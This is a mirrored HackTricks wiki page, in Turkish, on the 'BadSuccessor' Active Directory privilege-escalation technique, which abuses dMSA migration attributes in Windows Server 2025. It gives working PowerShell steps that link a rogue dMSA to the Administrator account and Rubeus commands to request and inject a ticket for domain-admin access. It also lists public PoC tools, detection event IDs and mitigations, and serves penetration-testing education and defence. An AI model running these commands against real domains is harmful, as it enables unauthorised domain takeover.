mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
102 lines
5.8 KiB
Markdown
102 lines
5.8 KiB
Markdown
# BadSuccessor: Delegeli MSA Göç İstismarı ile Yetki Yükseltme
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Genel Bakış
|
||
|
||
Delegeli Yönetilen Hizmet Hesapları (**dMSA**), Windows Server 2025'te sunulan **gMSA**'nın bir sonraki nesil halefidir. Meşru bir göç iş akışı, yöneticilerin *eski* bir hesabı (kullanıcı, bilgisayar veya hizmet hesabı) dMSA ile değiştirirken izinleri şeffaf bir şekilde korumasına olanak tanır. İş akışı, `Start-ADServiceAccountMigration` ve `Complete-ADServiceAccountMigration` gibi PowerShell cmdlet'leri aracılığıyla açığa çıkar ve **dMSA nesnesinin** iki LDAP niteliğine dayanır:
|
||
|
||
* **`msDS-ManagedAccountPrecededByLink`** – *DN bağlantısı* ile geçersiz kılınan (eski) hesap.
|
||
* **`msDS-DelegatedMSAState`** – göç durumu (`0` = yok, `1` = devam ediyor, `2` = *tamamlandı*).
|
||
|
||
Eğer bir saldırgan, bir OU içinde **herhangi bir** dMSA oluşturabilir ve bu 2 niteliği doğrudan manipüle edebilirse, LSASS ve KDC dMSA'yı bağlantılı hesabın *halef* olarak kabul eder. Saldırgan daha sonra dMSA olarak kimlik doğruladığında **bağlantılı hesabın tüm ayrıcalıklarını devralır** – eğer Yönetici hesabı bağlantılıysa **Domain Admin**'e kadar.
|
||
|
||
Bu teknik, 2025'te Unit 42 tarafından **BadSuccessor** olarak adlandırılmıştır. Yazma anında **hiçbir güvenlik yaması** mevcut değildir; yalnızca OU izinlerinin güçlendirilmesi sorunu hafifletir.
|
||
|
||
### Saldırı Ön Koşulları
|
||
|
||
1. **Bir Organizasyonel Birim (OU)** içinde nesne oluşturmasına *izin verilen* bir hesap *ve* en az birine sahip olmalıdır:
|
||
* `Create Child` → **`msDS-DelegatedManagedServiceAccount`** nesne sınıfı
|
||
* `Create Child` → **`All Objects`** (genel oluşturma)
|
||
2. LDAP & Kerberos'a (standart alan katılmış senaryo / uzaktan saldırı) ağ bağlantısı.
|
||
|
||
## Savunmasız OUs'u Belirleme
|
||
|
||
Unit 42, her OU'nun güvenlik tanımlarını ayrıştıran ve gerekli ACE'leri vurgulayan bir PowerShell yardımcı betiği yayınladı:
|
||
```powershell
|
||
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
|
||
```
|
||
Arka planda, script `(objectClass=organizationalUnit)` için sayfalı bir LDAP araması yapar ve her `nTSecurityDescriptor`'ı kontrol eder.
|
||
|
||
* `ADS_RIGHT_DS_CREATE_CHILD` (0x0001)
|
||
* `Active Directory Şeması ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8` (nesne sınıfı *msDS-DelegatedManagedServiceAccount*)
|
||
|
||
## Sömürü Adımları
|
||
|
||
Yazılabilir bir OU belirlendikten sonra, saldırı sadece 3 LDAP yazım uzaklıktadır:
|
||
```powershell
|
||
# 1. Create a new delegated MSA inside the delegated OU
|
||
New-ADServiceAccount -Name attacker_dMSA \
|
||
-DNSHostName host.contoso.local \
|
||
-Path "OU=DelegatedOU,DC=contoso,DC=com"
|
||
|
||
# 2. Point the dMSA to the target account (e.g. Domain Admin)
|
||
Set-ADServiceAccount attacker_dMSA -Add \
|
||
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
|
||
|
||
# 3. Mark the migration as *completed*
|
||
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
|
||
```
|
||
Replike edildikten sonra, saldırgan basitçe `attacker_dMSA$` olarak **giriş yapabilir** veya bir Kerberos TGT talep edebilir – Windows, *geçersiz kılınmış* hesabın jetonunu oluşturacaktır.
|
||
|
||
### Otomasyon
|
||
|
||
Bir dizi kamuya açık PoC, şifre alma ve bilet yönetimi dahil olmak üzere tüm iş akışını sarmaktadır:
|
||
|
||
* SharpSuccessor (C#) – [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
|
||
* BadSuccessor.ps1 (PowerShell) – [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
|
||
* NetExec modülü – `badsuccessor` (Python) – [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
|
||
|
||
### Post-Exploitation
|
||
```powershell
|
||
# Request a TGT for the dMSA and inject it (Rubeus)
|
||
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
|
||
Rubeus ptt /ticket:<Base64TGT>
|
||
|
||
# Access Domain Admin resources
|
||
dir \\DC01\C$
|
||
```
|
||
## Tespit ve Avlanma
|
||
|
||
OU'larda **Nesne Denetimi**'ni etkinleştirin ve aşağıdaki Windows Güvenlik Olaylarını izleyin:
|
||
|
||
* **5137** – **dMSA** nesnesinin oluşturulması
|
||
* **5136** – **`msDS-ManagedAccountPrecededByLink`**'in değiştirilmesi
|
||
* **4662** – Belirli nitelik değişiklikleri
|
||
* GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919` → `msDS-DelegatedMSAState`
|
||
* GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1` → `msDS-ManagedAccountPrecededByLink`
|
||
* **2946** – dMSA için TGT verilmesi
|
||
|
||
`4662` (nitelik değişikliği), `4741` (bir bilgisayar/hizmet hesabının oluşturulması) ve `4624` (sonraki oturum açma) olaylarını ilişkilendirmek, BadSuccessor etkinliğini hızlı bir şekilde vurgular. **XSIAM** gibi XDR çözümleri, kullanıma hazır sorgularla birlikte gelir (bkz. referanslar).
|
||
|
||
## Hafifletme
|
||
|
||
* **En az ayrıcalık** ilkesini uygulayın – yalnızca *Hizmet Hesabı* yönetimini güvenilir rollere devredin.
|
||
* Açıkça gerekmeyen OU'lardan `Create Child` / `msDS-DelegatedManagedServiceAccount`'ı kaldırın.
|
||
* Yukarıda listelenen olay kimliklerini izleyin ve dMSA oluşturan veya düzenleyen *non-Tier-0* kimlikleri konusunda uyarı verin.
|
||
|
||
## Ayrıca bakınız
|
||
|
||
{{#ref}}
|
||
golden-dmsa-gmsa.md
|
||
{{#endref}}
|
||
|
||
## Referanslar
|
||
|
||
- [Unit42 – İyi Hesaplar Kötüye Gitti: Delegeli Yönetilen Hizmet Hesaplarını Sömürmek](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/)
|
||
- [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor)
|
||
- [BadSuccessor.ps1 – Pentest-Tools-Collection](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
|
||
- [NetExec BadSuccessor modülü](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|